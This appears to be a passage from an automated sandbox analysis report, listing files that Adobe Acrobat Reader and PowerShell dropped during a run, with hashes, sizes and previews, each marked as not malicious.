File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.320548962151685
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOeXnZiQ0YZDoAvJfzdPeUkwRe9:YvXKXpctGb8Ukee9
MD5:	2D19EEDB1064CBE7EA881716394BCAC8
SHA1:	5296B7704A2DDA82A29C90596B52D5365F35B0F2
SHA-256:	135FFE459CA90AB22A6083EC19854CC29F5AA9BFEBBC951EDC094DF79D876F51
SHA-512:	0F0EA987514388841EB32174AC7DB9668011A8EF7F72B8C77DD332F65F08B6D0C4C80BAF817942D283F43F6F1EBCD14E8B3B1259172F16BC8EAD4A89DE5135F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"325bd5d0-f33a-494b-88a3-edda8009bf72","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752035724,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301494791611044
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOeXnZiQ0YZDoAvJfYdPeUkwRe9:YvXKXpctGg8Ukee9
MD5:	8993B2CF71324A21B629F44CAF230289
SHA1:	AD36902712F8451C32440397197087394E62ABA8
SHA-256:	D81101CC4CC15F8F63709DAFF03F86ACFA78C33F6B34AAE7ED75470AFD057724
SHA-512:	972F2B9772B3954953E7877B3E49F85E17ECCE023CA5E2DB1F26DF782F3F8330AD8E1911C5BC96C80D72B71346C2947A8B35345BFBFBDC931BAD2935C9F2627F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"325bd5d0-f33a-494b-88a3-edda8009bf72","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752035724,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.287571481187633
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOeXnZiQ0YZDoAvJf+dPeUkwRe9:YvXKXpctG28Ukee9
MD5:	3EDDCE776A5109EC9DB34EDE4FA6E206
SHA1:	9F1510FA031D5EDE54B5D93418F03EF107725ACC
SHA-256:	9D26DCD0F09A67DE53A34D5C02DD1CECF05198EAA4362BB21ACFC2F2716E943B
SHA-512:	DF4E1F414DD173DED32DAA1AE2CBE46E71733A9E379968345CEDB6AC2FB24EC278F4E4678AC2BC2A0D17AEFFA91E79BC6EB2D3380322154DE50FBF66DFF844E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"325bd5d0-f33a-494b-88a3-edda8009bf72","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752035724,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.285031615803045
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOeXnZiQ0YZDoAvJfbPtdPeUkwRe9:YvXKXpctGDV8Ukee9
MD5:	B71373D06E6D6393F616AE3F85DB1CA4
SHA1:	57045FE999083C55FCD854B6D9E36E6ED825572C
SHA-256:	ADD7250842617BBE72405F4652F17C9CE9A9A180417AEBC52DEEB6CDB3C2D88D
SHA-512:	73290255C7600A078E999EE7B7E6F4AAA18A25FF90F4329CACACA92A4F72DE73F883A1F0D4C0D7E80E6E4162EC235081433B8DEE7A9D28959AF6D7BA9DF06546
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"325bd5d0-f33a-494b-88a3-edda8009bf72","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752035724,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.288729491851697
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOeXnZiQ0YZDoAvJf21rPeUkwRe9:YvXKXpctG+16Ukee9
MD5:	7ED5448EB985554944941AAE30C634C4
SHA1:	B0285D28E83D95C7C47D1065EA4A71711A9C9397
SHA-256:	17D0C564023EA03D12FB8236B4C8B8B7A8B260D629FA9243122D67C0EE1581DE
SHA-512:	EB6DF06E944B4C695D7CFD366151FD6D0DA667815959657E3938D786A9B054D2C43D16E0F76FBBD5A09695D552837A081E7DB745BCCF5BA35094B7F7143BFB5A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"325bd5d0-f33a-494b-88a3-edda8009bf72","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752035724,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66306384846769
Encrypted:	false
SSDEEP:	24:Yv6XOOamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS811:Yv+BgkDMUJUAh8cvM8r
MD5:	97CA08079D43936A78CCEE60E72052E7
SHA1:	23D81632E30ECEDA9599FBEA5663E9FF16E370FF
SHA-256:	32AF9DC266B30C7453934DFF5D04D6044DDA5DA84F9C684249DCBF1E36D73B42
SHA-512:	DB425D8282E54E271A985089D01C32BF6163C21F7B62601512A5448556575AFFB811EC0D3E90AFD8CBDFF859653F21F22504B602AFB38205E668BA91983E5C91
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"325bd5d0-f33a-494b-88a3-edda8009bf72","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752035724,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.263485701662765
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOeXnZiQ0YZDoAvJfshHHrPeUkwRe9:YvXKXpctGUUUkee9
MD5:	478E997C5B693E79DECB28F08381568F
SHA1:	B83331EAAC15888DD6AA46FA2D54F579A7D53932
SHA-256:	8321212BEBD623E2C63CA93EAF3245C94C3350A9E0E2A344C903314E4046D69C
SHA-512:	96660C332C068880557D6B284ADBC5A65CC37F10DFEF99503642F0C757E854FDCEB9D333A3E7F76EA4F579ED733E674B7B8F32DFA1C1554615073446C441F3E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"325bd5d0-f33a-494b-88a3-edda8009bf72","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752035724,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.266815222582265
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOeXnZiQ0YZDoAvJTqgFCrPeUkwRe9:YvXKXpctGTq16Ukee9
MD5:	BE40D6FD4EB5044049B31123FA96ACBE
SHA1:	F347A6AB1FFB4149061FD3EB80B5285251CC3043
SHA-256:	6AE7845A6D50E1259B9841F27D71E8B98DE39F2D226AEC4CACDA7C85FBEE3BCB
SHA-512:	91F94634A1AFB13863EA4FE3AD8A749768F66FF7A75F1258539AD9B3F319798D4EDC02F2FC8BE45FC1FB74A94CBB2CFF3AA98BE109479AA68F10A5DF70623748
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"325bd5d0-f33a-494b-88a3-edda8009bf72","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736752035724,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.132067908019676
Encrypted:	false
SSDEEP:	24:YprfJa6ayujv5Iw6vW+zKpXZbj8j0SxHXCB2mw2LSTCp1KCXS5+i96iuOOG:Y+hn6vz4X9OdqKpS1KCiv96a
MD5:	4E499E75F9AE11D0A7F9CD2E6EE23D77
SHA1:	27D9F0F2BA0751B953DA001427C3A75E75EA9FF4
SHA-256:	EEDF43EB6DDD5A070A1367139BF09A7CB7A9E7B08B65A28A21364D92816162D8
SHA-512:	562DA61F56E497BCA51D4D89DFE68CE75F5B9D93D88AB0BBB0736406AB7EECFEC68AFC8CAEA82FE9EA1D586041E1128E3F3CE52488E5B98212BD4B4CBBA4C856
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"fd05da9b722e67912b0eea8ae5b8974c","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736575905000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"9784b3b93bf90d9f09efc9646ae3f780","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736575905000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"167aef0af3a6a6659d417c3f357934c7","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736575905000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"388356d896ad7a13feaae1d051885e83","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736575905000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"eddb04495be88fa6fb80c668475455c5","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736575905000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"b7c37d11365cb762620990326ba82ce5","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1464297142828983
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursS0RZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudc6:TFl2GL7msSWXc+XcGNFlRYIX2v3kJ4
MD5:	23BDEB3194148418BAF32F95DACB521F
SHA1:	9B50FB972EAB8787072F43F0263D3622E3C1B09D
SHA-256:	7E19AF162B56BA94F92A7AF4CF6C1DC76AF7EFFB949E7BC6E571819B822D7A49
SHA-512:	8C71B8F368D4D09579DCEF2EF29711D54EC2D210A77D363C0143AFEE87A66E543CE7F213A715AEA599FEA3B91CBEDBFB8097A5697DCBA0B2D2955BA52295894A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5511786419037439
Encrypted:	false
SSDEEP:	24:7+t80UXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxGqLxx/XYK2:7M8ZXc+XcGNFlRYIX2vrqVl2GL7mse
MD5:	5142E8CFAE593DC9F892B65A06793D25
SHA1:	AF72D675E310FE766D4EF43A8BEDCE98DD9E672E
SHA-256:	0DC0B88BDC55106356FF41004FA94CD8C36DB53243C468B3CF3C5CF543C41B43
SHA-512:	1A4F400BD33036DCB132F71CA0BD5F846C1FE6D9FCCB784A89EC3D8B762EA1CC5C13E2691B02E0855D4F1950A0473A061B91E18407C21CBB638CF2A1C1234B66
Malicious:	false
Preview:	.... .c.....5&............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgN0DIvIlx1b6mJYVyyeezfkhYYyu:6a6TZ44ADEN0EglxBDJUqYK
MD5:	F1234313454B8FF33F772BFC9A600CFD
SHA1:	6C50E2D848A5D580AD6597C93630D81A3A4919AF
SHA-256:	DDFEE3A17F5B368069F12BE085CDA7ADEBE665D4AAA660C3CE9A4B843E931B6A
SHA-512:	812128741CC2DBEF226EA11B2B88A1796C47F75F0BF4BF5BDBB665B4F6112109C0E28189CA75CC32FC7AE656436C467009BD939B0EE377D7313A63C66980DF05
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIc399e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4872226941654008
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8f:Qw946cPbiOxDlbYnuRKdT
MD5:	C1EF5F181128C57103EE0ADC02D43435
SHA1:	3A883EB3936F9204B212DE71685D18E67EE99ACC
SHA-256:	19403560F04256E07FCA86089D8723538117CF2488519B23C053D42D40A82E2B
SHA-512:	1C51529AB9353D0D32690D6BA47233E8C0EE719A4217495E868364CA9E936E39933C8CB22B359D59DA200F6748923E4A9ABEA445919E23DF9F4A19774AD3247E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.1.1.:.4.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2uvdlqgk.o3b.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dvpk0ogm.dfa.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-11-38-181.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.362858849694248
Encrypted:	false
SSDEEP:	384:2zXefTiO++ClqJU8SLlpGE3CX3gTmZg8B6xWiAcgPi5qCoMnrJQyhB0BEpsWb9Q2:RmbX
MD5:	CD41F711F4EDF09DA5A73BD26C58C5DA
SHA1:	A97F001014D31F50307E4F7CB75DC0ACCFACAB88
SHA-256:	9DACE575434003468847F846F8D5A88D0846F399056B43256A31DDEB95BE0FD6
SHA-512:	F7D4EAA21A9E81D1000AAAF906AE6949EA2FCD16F579C94873A1C24343245E735ACF93735AA9DE21E1752D988E668B772FF32BF7E7A99D669134AF03D5327CF0
Malicious:	false
Preview:	SessionID=fb7b7903-dcc7-4322-8386-2c450223f5ce.1736575898205 Timestamp=2025-01-11T01:11:38:205-0500 ThreadID=7484 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=fb7b7903-dcc7-4322-8386-2c450223f5ce.1736575898205 Timestamp=2025-01-11T01:11:38:217-0500 ThreadID=7484 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=fb7b7903-dcc7-4322-8386-2c450223f5ce.1736575898205 Timestamp=2025-01-11T01:11:38:217-0500 ThreadID=7484 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=fb7b7903-dcc7-4322-8386-2c450223f5ce.1736575898205 Timestamp=2025-01-11T01:11:38:217-0500 ThreadID=7484 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=fb7b7903-dcc7-4322-8386-2c450223f5ce.1736575898205 Timestamp=2025-01-11T01:11:38:217-0500 ThreadID=7484 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399120107105039
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbpcbaIcqcbB:V3fOCIdJDeUcR
MD5:	F0932E8FD41C64E05141B3C5C647C32D
SHA1:	C3DC295F2A59BAF3DCD83C5B418B318A26103779
SHA-256:	A416C5ECFA9C02D86A362BF389CF2EF42E8D71B37676653B459C1861E6596FCD
SHA-512:	E27F16CDD2B73C94F498E47D7B315EF2787F0E6742DA84F6EEA6539A43A83848C7645EEA648A8F7B4D5639122A2CCFA0300243749C00BBF3D361E5D3C39E0A4E
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\36def45d-a0cb-4b09-9ea5-4f1a0b5eea39.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLRGZKwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLRGZf
MD5:	EEE2F73FDF49F1B3FF8730F22101DC82
SHA1:	498FC43A0ACFCB110CCF5EF1BF4AC4DEAA2292B1
SHA-256:	38A3C845A54AC1FD764150E851216A22FD214551EACD607BD951574FE151FCB9
SHA-512:	47B13AF35800AB75210464B9874FDB0456B2FAFFC5E4C20EB50A355D4CB3319F372004E8AF66AEB5CF0C32ECBCD01BC08F84AC30AD3DE763CC25246C475C9839
Malicious:	false
